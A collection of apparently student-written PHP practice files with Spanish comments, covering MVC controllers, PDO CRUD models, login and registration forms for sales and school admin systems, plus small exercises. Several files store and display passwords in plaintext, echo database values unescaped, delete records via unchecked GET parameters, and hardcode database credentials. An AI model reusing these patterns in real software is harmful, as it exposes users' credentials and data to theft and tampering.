<strong>Producto Editado!</strong> Se actualizo la informacion. </div> </div> </div> </div>'; } else if($enlaces == "StockInsuficiente"){ $module = "views/modules/ventas.php"; echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-danger" role="alert"> <strong>Error!</strong> La cantidad solicitada en la venta, es mayor al stock disponible. </div> </div> </div> </div>'; } else if($enlaces == "AlumnaEditada"){ $module = "views/modules/alumnas.php"; /*echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-info" role="alert"> <strong>Usuario Editado!</strong> Se actualizo la informacion. </div> </div> </div> </div>';*/ } else if($enlaces == "GrupoEditado"){ $module = "views/modules/grupos.php"; /*echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-info" role="alert"> <strong>Grupo Editado!</strong> Se actualizo la informacion. </div> </div> </div> </div>';*/ } else if($enlaces == "PagoEditado"){ $module = "views/modules/pagos.php"; /*echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-info" role="alert"> <strong>Tienda Editada!</strong> Se actualizo la informacion. </div> </div> </div> </div>'; */ } else if($enlaces == "StockAñadido"){ $module = "views/modules/historial.php"; } else if($enlaces == "StockReducido"){ $module = "views/modules/historial.php"; } else{ $module = "views/modules/registro.php"; } return $module; } } ?><file_sep>/P11/views/modules/ingresar.php <br> <h4>Convertidor</h4> <hr style="left: -50px; width: 500px; border-color: darkgray;"><br> <form method="POST"> <label>Binario: </label> <input type="text" name="binario"> <br> <label>Octal: </label> <input type="text" name="octal"> <br> <label>Decimal: </label> <input type="text" name="decimal"> <br> <label>Hexadecimal: </label> <input type="text" name="hexadecimal"> <br> <input type="submit" class="button radius tiny" style="background-color: #360956; left: -1px; width: 400px;" value="Calcular"> </form> <?php $ingreso = new MvcController(); $ingreso -> calcularDecimal(); ?><file_sep>/Practica08/controllers/controllerMaestros.php <?php class MvcControllerMaestros{ #LLAMADA A LA PLANTILLA #------------------------------------- public function pagina(){ include "views/template.php"; } #ENLACES #------------------------------------- public function enlacesPaginasController(){ if(isset( $_GET['action'])){ $enlaces = $_GET['action']; } else{ $enlaces = "index"; } $respuesta = Paginas::enlacesPaginasModel($enlaces); include $respuesta; } #REGISTRO DE MAESTROS #------------------------------------ public function registroMaestroController(){ if(isset($_POST["nempleado"])){ //Recibe a traves del método POST el name (html) de usuario, password y email, se almacenan los datos en una variable de tipo array con sus respectivas propiedades (usuario, password y email): $datosController = array( "nempleado"=>$_POST["nempleado"], "nombre"=>$_POST["nombre"], "carrera"=>$_POST["carrera"], "email"=>$_POST["email"], "password"=>$_POST["<PASSWORD>"]); //Se le dice al modelo models/crud.php (Datos::registroUsuarioModel),que en la clase "Datos", la funcion "registroUsuarioModel" reciba en sus 2 parametros los valores "$datosController" y el nombre de la tabla a conectarnos la cual es "usuarios": $respuesta = DatosMaestros::registroMaestroModel($datosController, "maestros"); //se imprime la respuesta en la vista if($respuesta == "success"){ header("location:index.php?action=MaestroRegistrado"); } else{ header("location:index.php"); } } } #VISTA DE MAESTROS #------------------------------------ public function vistaMaestrosController(){ $respuesta = DatosMaestros::vistaMaestrosModel("maestros"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["nempleado"].'</td> <td>'.$item["nombre"].'</td> <td>'.$item["cname"].'</td> <td>'.$item["email"].'</td> <td>'.$item["password"].'</td> <td><a href="index.php?action=editarmaestros&id='.$item["nempleado"].'"><button class="button radius tiny secondary">Editar</button></a></td> <td><a href="index.php?action=maestros&idBorrar='.$item["nempleado"].'"><button class="button radius tiny alert">Borrar</button></a></td> </tr>'; } } #VISTA DE REPORTE DE MAESTROS #------------------------------------ public function vistaReportesMaestrosController(){ $respuesta = DatosMaestros::vistaMaestrosModel("maestros"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["nempleado"].'</td> <td>'.$item["nombre"].'</td> <td>'.$item["cname"].'</td> <td>'.$item["email"].'</td> <td>'.$item["password"].'</td> </tr>'; } } #EDITAR MAESTROS #------------------------------------ public function editarMaestrosController(){ $carreras = Datos::vistaCarrerasModel("carreras"); $datosController = $_GET["id"]; $respuesta = DatosMaestros::editarMaestroModel($datosController, "maestros"); echo' <label>No. Empleado: </label> <input type="text" value="'.$respuesta["nempleado"].'" name="empleadoEditar" readonly> <label>Nombre: </label> <input type="text" value="'.$respuesta["nombre"].'" name="nombreEditar" required> <label>Carrera: </label> <select name="carreraEditar">'; foreach($carreras as $row => $item){ if ($item["id"] == $respuesta["mcarrera"]) { echo '<option value='.$item["id"].' selected>'.$item["nombre"].'</option>'; } echo '<option value='.$item["id"].'>'.$item["nombre"].'</option>'; } echo '</select> <label>Correo: </label> <input type="text" value="'.$respuesta["email"].'" name="emailEditar" required> <label>Contraseña: </label> <input type="text" value="'.$respuesta["password"].'" name="contraEditar" required> <input type="submit" class="button radius tiny" style="background-color: #360956; left: -1px; width: 400px;" value="Actualizar">'; } #ACTUALIZAR MAESTROS #------------------------------------ public function actualizarMaestrosController(){ if(isset($_POST["empleadoEditar"])){ $datosController = array( "nempleado"=>$_POST["empleadoEditar"], "nombre"=>$_POST["nombreEditar"], "carrera"=>$_POST["carreraEditar"], "email"=>$_POST["emailEditar"], "password"=>$_POST["contraEditar"]); $respuesta = DatosMaestros::actualizarMaestrosModel($datosController, "maestros"); if($respuesta == "success"){ header("location:index.php?action=MaestroEditado"); } else{ echo "error"; } } } #BORRAR MAESTROS #------------------------------------ public function borrarMaestrosController(){ if(isset($_GET["idBorrar"])){ $datosController = $_GET["idBorrar"]; $respuesta = DatosMaestros::borrarMaestrosModel($datosController, "maestros"); if($respuesta == "success"){ header("location:index.php?action=maestros"); } } } } //// ?><file_sep>/05_final/key.php <?php //El archivo database_utilities es requerido debido a que contiene las funciones para el manejo de los registros en el listado require_once('database_utilities.php'); //Se obtiene el id del usuario a eliminar, este id ira en el url $id = isset( $_GET['id'] ) ? $_GET['id'] : ''; //Se eliminara el usuario en base al id que se paso como parametro borrar($id); //Direcciona al index.php o inicio del listado header('Location: index.php') ?><file_sep>/Calificar/2/Practica06/preparada/index.php <?php $servidor ='127.0.0.1'; $usuario='root'; $password='<PASSWORD>'; $bd='general'; $puerto=3307; try{ $dbcon =new PDO("mysql:host={$servidor};dbname={$bd};port={$puerto}",$usuario,$password); $dbcon->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); }catch(PDOException $e){ echo $e->getMessage(); } $sql = 'insert into contactos(nombre,apellidos, telefono, correo) values(:nombre,:apellidos,:telefono,:correo)'; $query=$dbcon->prepare($sql); $query->bindparam(':nombre',$nombre); $query->bindParam(':apellidos',$apellidos); $query->bindParam(':telefono',$telefono); $query->bindParam(':correo',$correo); $nombre='omar'; $apellidos='jasso'; $telefono='8341337244'; $correo ='<EMAIL>'; /* $dbcon =new mysqli($servidor,$usuario,$password,$bd); $sql = "insert into contactos(nombre,apellidos, telefono, correo) values('$nombre','$apellidos','$telefono','$correo')"; $dbcon->query($sql); */ $query ->execute(); ?><file_sep>/Practica07/update2.php <?php //El archivo connection.php permite la conexion a la base de datos mediante pdo require_once('connection.php'); $id = $_GET['id']; global $pdo,$sql; $id=$_POST['id']; $nombre=$_POST['name']; $descripcion=$_POST['des']; $preciou=$_POST['precio']; //Consulta de update para la modificacion de la informacion del jugador de futbol $sql = 'UPDATE `productos` SET `nombre`=:name,`descripcion`=:des,`preciounitario`=:precio WHERE id=:id'; $statement = $pdo->prepare($sql); $statement->bindParam(':id',$id); $statement->bindParam(':name',$nombre); $statement->bindParam(':des',$descripcion); $statement->bindParam(':precio',$preciou); $statement->execute(); $result = $statement->fetchAll(); header("Location: productos.php"); ?><file_sep>/editado1.2/views/modules/registro_maestro.php <h1>REGISTRO DE MAESTROS</h1> <form method="post"> <input type="text" placeholder="No. Empleado" name="nempleadoRegistro" required> <input type="text" placeholder="Carrera" name="carreraRegistro" required> <input type="text" placeholder="Nombre" name="nombreRegistro" required> <input type="text" placeholder="Email" name="emailRegistro" required> <input type="text" placeholder="Contraseña" name="passwordRegistro" required> <input type="submit" value="Enviar"> </form> <?php //Enviar los datos al controlador MvcController (es la clase principal de controller.php) $registro = new MvcController(); //se invoca la función registroUsuarioController de la clase MvcController: $registro -> registroMaestroController(); if(isset($_GET["action"])){ if($_GET["action"] == "maestroOk"){ echo "Maestro añadido"; } } ?> <file_sep>/PNF/Practica12 - copia/views/modules/registrarProducto.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <br> <!-- Formulario para la insercion de Alumnos --> <h4>REGISTRO DE USUARIOS</h4> <hr><br> <input type="button" style="left: -200px;" class="button radius tiny" value="Listado Usuarios" onclick="window.location= 'index.php?action=productos'"> <br> <strong><h4>Información General</h4></strong> <br> <form method="post"> <label>Nombre: </label> <input type="text" placeholder="Nombre" name="nombre" required> <label>Descripcion: </label> <input type="text" placeholder="Descripcion" name="descripcion" required> <label>Cantidad: </label> <input type="text" placeholder="Cantidad" name="cantidad" required> <label>Precio Unitario: </label> <input type="text" placeholder="Precio" name="precio" required> <input type="submit" class="button radius tiny" name="enviar" style="background-color: #360956; left: -1px; width: 400px;" value="Enviar"> </form> <?php //Enviar los datos al controlador MvcController (es la clase principal de controller.php) $registro = new MvcController(); //se invoca la función registroProductosController de la clase MvcController: $registro -> registroProductoController(); if(isset($_GET["action"])){ if($_GET["action"] == "ProductoRegistrado"){ //echo "Producto Añadido"; } } ?> <file_sep>/index4.php <!DOCTYPE html> <html> <head> <title>Practica 3</title> </head> <body> <?php //Clase Fibonacci class Fibonacci{ //Declaracion de los arrays original y resultante public $array; public $arrayR; //Constructor de la clase Fibonacci function __construct() { $this->array = array(10,9,4,6,9,7,8,4,6,5,2,3,1,6,8,5,1,6,5,1,5,4,2,4,9); } //Metodo o funcion que es donde se pasara el array y aplicar la serie Fibonacci con el array original function ftn(){ $this->arrayR[0] = $this->array[0]; $this->arrayR[1] = $this->array[1]; for ($i=2; $i < 25; $i++) { $this->arrayR[$i] = $this->arrayR[$i-1] + $this->arrayR[$i-2]; } echo "<strong>Array Original: </strong>"; for ($i=0; $i < 25; $i++) { echo($this->array[$i]); if ($i==24) echo "."; else echo ","; } echo "<br><br>"; echo "<strong>Array Fibonacci: </strong>"; for ($i=0; $i < 25; $i++) { echo($this->arrayR[$i]); if ($i==24) echo "."; else echo ","; } } } //Declaracion de un objeto de tipo Fibonacci y llamada del metodo ftn $a = new Fibonacci(); $a -> ftn(); ?> </body> </html><file_sep>/PNF/Practica12 - copia/models/crud.php <?php #EXTENSIÓN DE CLASES: Los objetos pueden ser extendidos, y pueden heredar propiedades y métodos. Para definir una clase como extensión, debo definir una clase padre, y se utiliza dentro de una clase hija. require_once "conexion.php"; //heredar la clase conexion de conexion.php para poder utilizar "Conexion" del archivo conexion.php. // Se extiende cuando se requiere manipuar una funcion, en este caso se va a manipular la función "conectar" del models/conexion.php: class Datos extends Conexion{ #REGISTRO DE USUARIOS #------------------------------------- public function registroUsuarioModel($datosModel, $tabla){ #prepare() Prepara una sentencia SQL para ser ejecutada por el método PDOStatement::execute(). La sentencia SQL puede contener cero o más marcadores de parámetros con nombre (:name) o signos de interrogación (?) por los cuales los valores reales serán sustituidos cuando la sentencia sea ejecutada. Ayuda a prevenir inyecciones SQL eliminando la necesidad de entrecomillar manualmente los parámetros. $stmt = Conexion::conectar()->prepare("INSERT INTO $tabla (nombre, username, password) VALUES (:nombre,:username,:password)"); #bindParam() Vincula una variable de PHP a un parámetro de sustitución con nombre o de signo de interrogación correspondiente de la sentencia SQL que fue usada para preparar la sentencia. $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":username", $datosModel["username"], PDO::PARAM_STR); $stmt->bindParam(":password", $datosModel["password"], PDO::PARAM_STR); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #REGISTRO DE USUARIOS #------------------------------------- public function registroProductoModel($datosModel, $tabla){ #prepare() Prepara una sentencia SQL para ser ejecutada por el método PDOStatement::execute(). La sentencia SQL puede contener cero o más marcadores de parámetros con nombre (:name) o signos de interrogación (?) por los cuales los valores reales serán sustituidos cuando la sentencia sea ejecutada. Ayuda a prevenir inyecciones SQL eliminando la necesidad de entrecomillar manualmente los parámetros. $stmt = Conexion::conectar()->prepare("INSERT INTO $tabla (nombre, descripcion, cantidad, preciounitario) VALUES (:nombre,:descripcion,:cantidad,:precio)"); #bindParam() Vincula una variable de PHP a un parámetro de sustitución con nombre o de signo de interrogación correspondiente de la sentencia SQL que fue usada para preparar la sentencia. $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":descripcion", $datosModel["descripcion"], PDO::PARAM_STR); $stmt->bindParam(":cantidad", $datosModel["cantidad"], PDO::PARAM_STR); $stmt->bindParam(":precio", $datosModel["preciounitario"], PDO::PARAM_STR); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #INGRESO USUARIO #------------------------------------- public function iniciarSesionModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("SELECT username, password FROM $tabla WHERE username = :username"); $stmt->bindParam(":username", $datosModel["username"], PDO::PARAM_STR); $stmt->execute(); #fetch(): Obtiene una fila de un conjunto de resultados asociado al objeto PDOStatement. return $stmt->fetch(); $stmt->close(); } #VISTA ALUMNOS #------------------------------------- public function vistaUsuariosModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_usuario, nombre, username, password FROM $tabla"); $stmt->execute(); #fetchAll(): Obtiene todas las filas de un conjunto de resultados asociado al objeto PDOStatement. return $stmt->fetchAll(); $stmt->close(); } #VISTA PRODUCTOS #------------------------------------- public function vistaProductosModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_producto, nombre, descripcion, cantidad, preciounitario FROM $tabla"); $stmt->execute(); #fetchAll(): Obtiene todas las filas de un conjunto de resultados asociado al objeto PDOStatement. return $stmt->fetchAll(); $stmt->close(); } #EDITAR ALUMNO #------------------------------------- public function editarUsuarioModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_usuario, nombre, username, password FROM $tabla WHERE id_usuario = :id"); $stmt->bindParam(":id", $datosModel, PDO::PARAM_STR); $stmt->execute(); return $stmt->fetch(); $stmt->close(); } #EDITAR PRODUCTO #------------------------------------- public function editarProductoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_producto, nombre, descripcion, cantidad, preciounitario FROM $tabla WHERE id_producto = :id"); $stmt->bindParam(":id", $datosModel, PDO::PARAM_STR); $stmt->execute(); return $stmt->fetch(); $stmt->close(); } #ACTUALIZAR ALUMNO #------------------------------------- public function actualizarUsuarioModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("UPDATE $tabla SET nombre = :nombre, username = :username, password = :password WHERE id_usuario = :id"); $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":username", $datosModel["username"], PDO::PARAM_STR); $stmt->bindParam(":password", $datosModel["password"], PDO::PARAM_STR); $stmt->bindParam(":id", $datosModel["id_usuario"], PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #ACTUALIZAR PRODUCTO #------------------------------------- public function actualizarProductoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("UPDATE $tabla SET nombre = :nombre, descripcion = :descripcion, cantidad = :cantidad, preciounitario = :precio WHERE id_producto = :id"); $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":descripcion", $datosModel["descripcion"], PDO::PARAM_STR); $stmt->bindParam(":cantidad", $datosModel["cantidad"], PDO::PARAM_STR); $stmt->bindParam(":precio", $datosModel["precio"], PDO::PARAM_STR); $stmt->bindParam(":id", $datosModel["id_producto"], PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #BORRAR ALUMNO #------------------------------------ public function borrarUsuarioModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("DELETE FROM $tabla WHERE id_usuario = :id"); $stmt->bindParam(":id", $datosModel, PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #BORRAR ALUMNO #------------------------------------ public function borrarProductoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("DELETE FROM $tabla WHERE id_producto = :id"); $stmt->bindParam(":id", $datosModel, PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } } /* #REGISTRO DE PRODUCTOS #------------------------------------- public function registroProductosModel($datosModel, $tabla){ #prepare() Prepara una sentencia SQL para ser ejecutada por el método PDOStatement::execute(). La sentencia SQL puede contener cero o más marcadores de parámetros con nombre (:name) o signos de interrogación (?) por los cuales los valores reales serán sustituidos cuando la sentencia sea ejecutada. Ayuda a prevenir inyecciones SQL eliminando la necesidad de entrecomillar manualmente los parámetros. $stmt1 = Conexion::conectar()->prepare("INSERT INTO $tabla (nombreProd, descProduc, BuyPrice, SalePrice, Proce) VALUES (:nombreProd,:descProduc,:BuyPrice,:SalePrice,:Proce)"); #bindParam() Vincula una variable de PHP a un parámetro de sustitución con nombre o de signo de interrogación correspondiente de la sentencia SQL que fue usada para preparar la sentencia. $stmt1->bindParam(":nombreProd", $datosModel["nombreProd"], PDO::PARAM_STR); $stmt1->bindParam(":descProduc", $datosModel["descProduc"], PDO::PARAM_STR); $stmt1->bindParam(":BuyPrice", $datosModel["BuyPrice"], PDO::PARAM_STR); $stmt1->bindParam(":SalePrice", $datosModel["SalePrice"], PDO::PARAM_STR); $stmt1->bindParam(":Proce", $datosModel["Proce"], PDO::PARAM_STR); if($stmt1->execute()){ return "success"; } else{ return "error"; } $stmt1->close(); }*/ ?><file_sep>/PNF/Practica12 - copia/views/modules/ingresar.php <!--<br> <!-- Es el inicio de sesion o login, cuenta con dos entradas de texto, para ingresar el email y la contraseña <h4>Iniciar Sesion</h4> <hr style="left: -50px; width: 500px; border-color: darkgray;"><br> <form method="post"> <label>Username: </label> <input type="text" placeholder="Username" name="usuarioIngreso" required> <label>Contraseña: </label> <input type="password" placeholder="<PASSWORD>" name="<PASSWORD>Ingreso" required> <input type="submit" class="button radius tiny" style="background-color: #360956; left: -1px; width: 400px;" value="Log In"> </form>--> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Sistema de Punto de Venta</title> <!-- Tell the browser to be responsive to screen width --> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- Font Awesome --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css"> <!-- Ionicons --> <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css"> <!-- Theme style --> <link rel="stylesheet" href="views/dist/css/adminlte.min.css"> <!-- iCheck --> <link rel="stylesheet" href="views/plugins/iCheck/square/blue.css"> <!-- Google Font: Source Sans Pro --> <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet"> </head> <body class="hold-transition login-page"> <div class="login-box"> <div class="login-logo"> <a href=""><b>Sistema de Ventas</b></a> <hr> </div> <!-- /.login-logo --> <div class="card"> <div class="card-body login-card-body"> <strong><p class="login-box-msg">Iniciar Sesion</p></strong> <form method="post"> <div class="form-group has-feedback"> <label>Username: </label> <input type="text" class="form-control" placeholder="Username" name="usuarioIngreso"> <span class="fa fa-envelope form-control-feedback"></span> </div> <div class="form-group has-feedback"> <label>Contraseña: </label> <input type="<PASSWORD>" class="form-control" placeholder="<PASSWORD>" name="<PASSWORD>"> <span class="fa fa-lock form-control-feedback"></span> </div> <div class="row"> <!-- /.col --> <div class="col-12"> <input type="submit" class="btn btn-primary btn-block btn-flat" value="Acceder"></input> </div> <!-- /.col --> </div> </form> </div> <!-- /.login-card-body --> </div> </div> <!-- /.login-box --> <!-- jQuery --> <script src="views/plugins/jquery/jquery.min.js"></script> <!-- Bootstrap 4 --> <script src="views/plugins/bootstrap/js/bootstrap.bundle.min.js"></script> <!-- iCheck --> <script src="views/plugins/iCheck/icheck.min.js"></script> <script> $(function () { $('input').iCheck({ checkboxClass: 'icheckbox_square-blue', radioClass : 'iradio_square-blue', increaseArea : '20%' // optional }) }) </script> </body> </html> <?php //Se llama al controller de ingreso de maestro $ingreso = new MvcController(); $ingreso -> iniciarSesionController(); //Se valida que si action es igual a fallo, se imprima un mensaje if(isset($_GET["action"])){ if($_GET["action"] == "fallo"){ echo "Fallo al ingresar"; } } ?><file_sep>/PNF/Practica12 - NOFunc/models/enlaces.php <?php class Paginas{ public function enlacesPaginasModel($enlaces){ if($enlaces == "ingresar" || $enlaces == "usuarios" || $enlaces == "editar" || $enlaces == "salir" || $enlaces == "registrarUsuario" || $enlaces == "productos" || $enlaces == "registrarProducto" || $enlaces == "editarProducto" || $enlaces == "dashboard" || $enlaces == "categorias" || $enlaces == "registrarCategoria" || $enlaces == "editarCategoria" || $enlaces == "historial" || $enlaces == "añadirStockProducto" || $enlaces == "quitarStockProducto" || $enlaces == "help"){ $module = "views/modules/".$enlaces.".php"; } else if($enlaces == "index"){ $module = "views/modules/ingresar.php"; } else if($enlaces == "ok"){ $module = "views/modules/registro.php"; } else if($enlaces == "UsuarioRegistrado"){ $module = "views/modules/usuarios.php"; } else if($enlaces == "ProductoRegistrado"){ $module = "views/modules/productos.php"; } else if($enlaces == "CategoriaRegistrada"){ $module = "views/modules/categorias.php"; } else if($enlaces == "fallo"){ $module = "views/modules/ingresar.php"; } else if($enlaces == "ProductoEditado"){ $module = "views/modules/productos.php"; } else if($enlaces == "UsuarioEditado"){ $module = "views/modules/usuarios.php"; } else if($enlaces == "CategoriaEditada"){ $module = "views/modules/categorias.php"; } else if($enlaces == "StockAñadido"){ $module = "views/modules/historial.php"; } else if($enlaces == "StockReducido"){ $module = "views/modules/historial.php"; } else{ $module = "views/modules/registro.php"; } return $module; } } ?><file_sep>/carros-oop.php <?php /*CLASE Es un modelo que se utiliza para crear objetoc que COMPARTEN un mismo comportamiento, estado e identidad. */ class Automovil{ /* PROPIEDADES: Son las caracterisitcas que pueden tener un objeto. */ public $marca; public $modelo; /* MODELO: Es el algoritmo asociado a un objeto que indica de lo que éste puede hacer. La unica diferencia entre método y función, es que llamamos metodos a las funciones de una CLASE(en POO), mientras que llamamos funciones a los algoritmos de Programacion Estructurada */ public function mostrar($marca,$modelo){ #this hace referencia al objeto actual (Automovil) echo "<p> Hola! soy un $this->marca, de modelo $this->modelo</p>"; } } /* OBJETO Es el algoritmo asociado a un objeto que indica la capacidad de lo que éste hace. Asi mismo en la entidad provista de métodos o mensajes de los cuales responde a las propiedades con VALORES CONCRETOS */ $a = new Automovil(); $a -> $marca="Toyota"; $a -> $modelo="Corolla"; $a -> mostrar(); $b = new Automovil(); $b -> $marca="Ford"; $b -> $modelo="Fiesta"; $b -> mostrar(); /* PRINCIPIOS DE OOP: -ABSTRACCION Nuevos tipos de datos creados por el usuario -ENCAPSULAMIENTO Organizacion del codigo en grupos lógicos -OCULTAMIENTO Oculta detalles de implementacion y se exponen lo necesario ?><file_sep>/editado1.2/models/enlaces.php <?php class Paginas{ public function enlacesPaginasModel($enlaces){ if($enlaces == "ingresar" || $enlaces == "usuarios" || $enlaces == "editar" || $enlaces == "logout" || $enlaces == "registro_alumno" || $enlaces == "registro_maestro" || $enlaces == "registro_carrera" || $enlaces == "alumnos" || $enlaces == "maestros"){ $module = "views/modules/".$enlaces.".php"; } else if($enlaces == "index"){ $module = "views/modules/menu.php"; } else if($enlaces == "carrerasOk"){ $module = "views/modules/registro_carrera.php"; } else if($enlaces == "alumnoOk"){ $module = "views/modules/registro_alumno.php"; } else if($enlaces == "maestroOk"){ $module = "views/modules/registro_maestro.php"; } else if($enlaces == "ok"){ $module = "views/modules/registro.php"; } else if($enlaces == "fallo"){ $module = "views/modules/ingresar.php"; } else if($enlaces == "cambio"){ $module = "views/modules/usuarios.php"; } else{ $module = "views/modules/menu.php"; } return $module; } } ?><file_sep>/Calificar/2/Practica06/preparada/index2.php <?php $serv='localhost'; $user='root'; $contrasena='usbw'; $bd='general'; $puerto=3307; //$sql="insert into contactos(nombre,apellidos,telefono, correo) values(:nombre,:apellidos,:telefono,:correo)"; $sql="call spNuevoContacto(?,?,?,?)"; $bdcon=new PDO("mysql:host={$serv}; dbname={$bd}; port={$puerto}",$user,$contrasena); //$dbcon =new PDO("mysql:host={$servidor};dbname={$bd};port={$puerto}",$usuario,$password); $stmt=$bdcon->prepare($sql); $stmt->bindparam(1,$nombre); $stmt->bindparam(2,$apellidos); $stmt->bindparam(3,$telefono); $stmt->bindparam(4,$correo); $nombre='mello'; $apellidos='ramirez'; $telefono='484 5643'; $correo='<EMAIL>'; $stmt->execute(); $id=$bdcon->lastInsertId(); echo "Contacto registrado con el id: $id <br>"; $stmt=null; $sql="select * from ejemplo"; $query=$bdcon->prepare($sql); if($query->execute()){ while ($fila=$query->fetch()) { echo "Nombre: ".$fila["nombre"]." apellidos: " .$fila["apellidos"]."<br>"; } } /* foreach ($resultados as $fila) { echo "Nombre: "-$fila["nombre"]." apellidos" .$fila["apellidos"]."<br>"; }*/ $query=null; ?> <file_sep>/Practica06/Ejercicio2/modificar2.php <?php require_once('connection.php'); $id = $_GET['id']; global $pdo,$sql; //Consulta para traer los datos de la tabla basquetbol dependiendo del id de jugador $sql = 'SELECT * FROM basquetbol WHERE id= :id'; $statement = $pdo->prepare($sql); $statement->bindParam(':id',$id); $statement->execute(); $result = $statement->fetchAll(); /*echo "<pre>"; print_r($result); echo "</pre>";*/ ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Basquetbol | UPV</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header2.php'); ?> <div class="row"> <div class="large-12 columns"> <h4><b><center><font color=ffffff>Ejercicio 2: Sistema de Control de Jugadores de la UPV</font></center></b></h4> <h4><b><font color=ffffff><center>Listado de Jugadores de Futbol - UPV</center></font></b></h4> <div class="large-12 columns" style="background-color: #515a5b"> <br> <h3><font color=ffffff>Informacion General</font></h3> <br><br> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <form method="POST" action="update2.php"> <label><font color=ffffff>ID: </label><?php //Se imprimen los valores del resultado de la consulta ?> <input type="text" name="id" value="<?php echo $result[0]['id']; ?>" readonly> <br> <label><font color=ffffff>Nombre: </label> <input type="text" name="name" value='<?php echo $result[0]['nombre']; ?>'> <br> <label><font color=ffffff>Posicion: </label> <input type="text" name="pos" value='<?php echo $result[0]['posicion']; ?>'> <br> <label><font color=ffffff>Carrera: </label> <input type="text" name="carrera" value='<?php echo $result[0]['carrera']; ?>'> <br> <label><font color=ffffff>Email: </label> <input type="text" name="email" value='<?php echo $result[0]['email']; ?>'> <br> <center><input type="submit" name="editar" style="background-color: #c48301;" value="Editar" class="button" onclick="mensaje()"></center> <center><a href="./index2.php" class="button">Volver al listado</a></center> </form> </div> </section> </div> </div> </div> </div> <?php require_once('footer2.php'); ?> <script type="text/javascript"> //Funcion que envia un mensaje de confirmacion de la modificacion function mensaje() { var mensaje = confirm("¿Esta seguro de modificar este usuario?"); if(mensaje == false) { event.preventDefault(); } } </script><file_sep>/PNF/Practica12-2 - Version sin alerts/views/modules/ingresar.php <!--<br> <!-- Es el inicio de sesion o login, cuenta con dos entradas de texto, para ingresar el email y la contraseña <h4>Iniciar Sesion</h4> <hr style="left: -50px; width: 500px; border-color: darkgray;"><br> <form method="post"> <label>Username: </label> <input type="text" placeholder="Username" name="usuarioIngreso" required> <label>Contraseña: </label> <input type="password" placeholder="<PASSWORD>" name="<PASSWORD>In<PASSWORD>" required> <input type="submit" class="button radius tiny" style="background-color: #360956; left: -1px; width: 400px;" value="Log In"> </form>--> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Sistema de Punto de Venta</title> </head> <body class="hold-transition login-page" style="background-color: #05758c;"> <div class="login-box"> <div class="login-logo"> <a href=""><b style="color: white;">Sistema de Ventas</b></a> <hr style="border-color: white;"> </div> <!-- /.login-logo --> <div class="card"> <div class="card-body login-card-body"> <strong><p class="login-box-msg">Iniciar Sesion</p></strong> <!-- Formulario de login --> <form method="post"> <div class="form-group has-feedback"> <label>Username: </label> <input type="text" class="form-control" placeholder="Username" name="usuarioIngreso"> <span class="fa fa-user form-control-feedback"></span> </div> <div class="form-group has-feedback"> <label>Contraseña: </label> <input type="<PASSWORD>" class="form-control" placeholder="<PASSWORD>" name="<PASSWORD>"> <span class="fa fa-lock form-control-feedback"></span> </div> <div class="row"> <!-- /.col --> <div class="col-12"> <input type="submit" class="btn btn-block btn-flat" style="background-color: #dd7d00; color: white;" name="acceder" value="Acceder"></input> </div> <!-- /.col --> </div> </form> </div> <!-- /.login-card-body --> </div> </div> <!-- /.login-box --> </body> </html> <?php //Se llama al controller de ingreso de usuario $ingreso = new MvcController(); $ingreso -> iniciarSesionController(); //Se valida que si action es igual a fallo, se imprima un mensaje if(isset($_GET["action"])){ if($_GET["action"] == "fallo"){ echo "Fallo al ingresar"; } 